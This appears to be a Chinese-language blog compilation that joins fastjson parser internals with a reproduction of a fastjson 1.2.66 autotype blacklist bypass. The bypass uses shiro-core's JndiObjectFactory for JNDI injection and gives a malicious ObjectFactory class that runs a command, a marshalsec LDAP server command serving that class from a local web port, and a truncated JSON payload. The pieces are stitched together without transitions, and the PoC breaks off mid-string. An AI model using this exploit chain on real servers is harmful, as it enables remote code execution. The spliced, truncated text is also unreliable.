1. public void nextToken(int expect) {
2. for (;;) {
3. switch (expect) {
4. case JSONToken.COMMA: //
5. if (ch == ',') {
6. token = JSONToken.COMMA;
7. ch = buf[++bp];
8. return;
9. }
10. if (ch == '}') {
11. token = JSONToken.RBRACE;
12. ch = buf[++bp];
13. return;
14. }
15. if (ch == ']') {
16. token = JSONToken.RBRACKET;
17. ch = buf[++bp];
18. return;
19. }
20. if (ch == EOI) {
21. token = JSONToken.EOF;
22. return;
23. }
24. break;
25. // ... ...
26. }
27. }

1. { "id" : 123, "name" : "魏加流", "salary" : 56789.79}
2. ------      --------          ----------

1. // 用于快速匹配的每个字段的前缀
2. char[] size_   = "\"size\":".toCharArray();
3. char[] uri_    = "\"uri\":".toCharArray();
4. char[] titile_ = "\"title\":".toCharArray();
5. char[] width_  = "\"width\":".toCharArray();
6. char[] height_ = "\"height\":".toCharArray();
7. // 保存parse开始时的lexer状态信息
8. int mark = lexer.getBufferPosition();
9. char mark_ch = lexer.getCurrent();
10. int mark_token = lexer.token();
11. int height = lexer.scanFieldInt(height_);
12. if (lexer.matchStat == JSONScanner.NOT_MATCH) {
13. // 退出快速模式, 进入常规模式
14. lexer.reset(mark, mark_ch, mark_token);
15. return (T) super.deserialze(parser, clazz);
16. }
17. String value = lexer.scanFieldString(size_);
18. if (lexer.matchStat == JSONScanner.NOT_MATCH) {
19. // 退出快速模式, 进入常规模式
20. lexer.reset(mark, mark_ch, mark_token);
21. return (T) super.deserialze(parser, clazz);
22. }
23. Size size = Size.valueOf(value);
24. // ... ...
25. // batch set
26. Image image = new Image();
27. image.setSize(size);
28. image.setUri(uri);
29. image.setTitle(title);
30. image.setWidth(width);
31. image.setHeight(height);
32. return (T) image;

1. //代码摘抄自com.alibaba.fastjson.JSON
2. public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz,
3. Feature... features) {
4. charsetDecoder.reset();
5. int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
6. char[] chars = ThreadLocalCache.getChars(scaleLength); // 使用ThreadLocalCache，避免频繁分配内存
7. ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
8. CharBuffer charByte = CharBuffer.wrap(chars);
9. IOUtils.decode(charsetDecoder, byteBuf, charByte);
10. int position = charByte.position();
11. return (T) parseObject(chars, position, clazz, features);
12. }

1. int hash = 0;
2. for (;;) {
3. ch = buf[index++];
4. if (ch == '\"') {
5. bp = index;
6. this.ch = ch = buf[bp];
7. strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 通过symbolTable来获得缓存好的symbol，包括fieldName、enumValue
8. break;
9. }
10. hash = 31 * hash + ch; // 在token scan的过程中计算好hash
11. // ... ...
12. }

首先，这个漏洞需要开启autotype，属于黑名单的绕过。

fastjson反序列化漏洞具体原理就不多说了，可以简单理解为可以设置type调用任意类，并为其设置属性值。

看到360cert文章提到jackson-databind多了个新的黑名单，在shiro-core包中，但是poc打码了，因此我们来简单复现下。

我们利用maven下载fastjson最新版1.2.66和shiro-core

        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.66</version>        </dependency>

        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-core</artifactId>            <version>1.5.1</version>        </dependency>

然后我们在shiro-core包中寻找可能触发jndi注入的地方，一般咱们寻找lookup

找到JndiObjectFactory

尝试构造poc。

借助JNDI-Exploit-Bypass-Demo先写个简单的恶意类：

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.*;import java.util.Hashtable;
public class Exploit implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {        try {            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");        } catch (IOException e) {            e.printStackTrace();        }        return null;    }}

marshalsec开启监听：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#Exploit

把生成的Exploit.class放在8090端口下的web目录。

poc：

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127

FastJson漏洞原理

通过Fastjson反序列化漏洞，攻击者可以传入一个恶意构造的JSON内容，程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数，进而导致代码执行。

那么，如何才能够反序列化出恶意类呢？

例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类，而Object又是任意类的父类，所以就可以反序列化出所有类。

接着，如何才能触发反序列化得到的恶意类中的恶意函数呢？

在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍，如果这三种方法中存在危险操作，则可能导致反序列化漏洞的存在。换句话说，就是攻击者传入要进行反序列化的类中的构造函数、getter方法、setter方法中要存在漏洞才能触发。

漏洞原理总结

• 若反序列化指定类型的类如“Student obj = JSON.parseObject(text, Student.class);”，该类本身的构造函数、setter方法、getter方法存在危险操作，则存在Fastjson反序列化漏洞；

• 若反序列化未指定类型的类如“Object obj = JSON.parseObject(text, Object.class);”，该若该类的子类的构造方法、setter方法、getter方法存在危险操作，则存在Fastjson反序列化漏洞。